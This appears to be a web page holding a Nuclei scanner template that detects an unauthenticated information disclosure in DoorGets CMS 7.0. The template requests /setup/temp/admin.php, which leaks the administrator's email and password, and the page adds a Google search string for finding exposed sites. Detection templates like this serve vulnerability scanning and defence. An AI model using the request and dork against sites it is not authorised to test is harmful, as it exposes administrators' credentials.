DoorGets CMS v7.0 - Information Disclosure

ID: doorgets-info-disclosure

Severity: high

Author: r3Y3r53

Tags: doorgets,cms,packetstorm,disclosure

Description

doorGets 7.0 has a sensitive information disclosure vulnerability in /setup/temp/admin.php. A remote unauthenticated attacker could exploit this vulnerability to obtain administrator’s password.

YAML Source

id: doorgets-info-disclosure

info:
  name: DoorGets CMS v7.0 - Information Disclosure
  author: r3Y3r53
  severity: high
  description: |
    doorGets 7.0 has a sensitive information disclosure vulnerability in /setup/temp/admin.php. A remote unauthenticated attacker could exploit this vulnerability to obtain administrator's password.
  reference:
    - https://packetstormsecurity.com/files/174236/DoorGets-CMS-7.0-Information-Disclosure.html
    - https://sourceforge.net/projects/doorgets-cms/files/latest/download?source=directory
  classification:
    cpe: cpe:2.3:a:doorgets:doorgets:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: doorgets
    product: doorgets
    google-query: "Powered with doorGets ™"
  tags: doorgets,cms,packetstorm,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/v12/setup/temp/admin.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ':"email";'
          - ':"password";'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022017448ace604f6fca4b77abef15892f19c445d4dce8384c2a3b4aae8f384855ee0221008b29cbb74be3a1e638454813267d9162cb6293fabc4ddfeca6e37fa0ce3f8983:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/doorgets-info-disclosure.yaml"

View on Github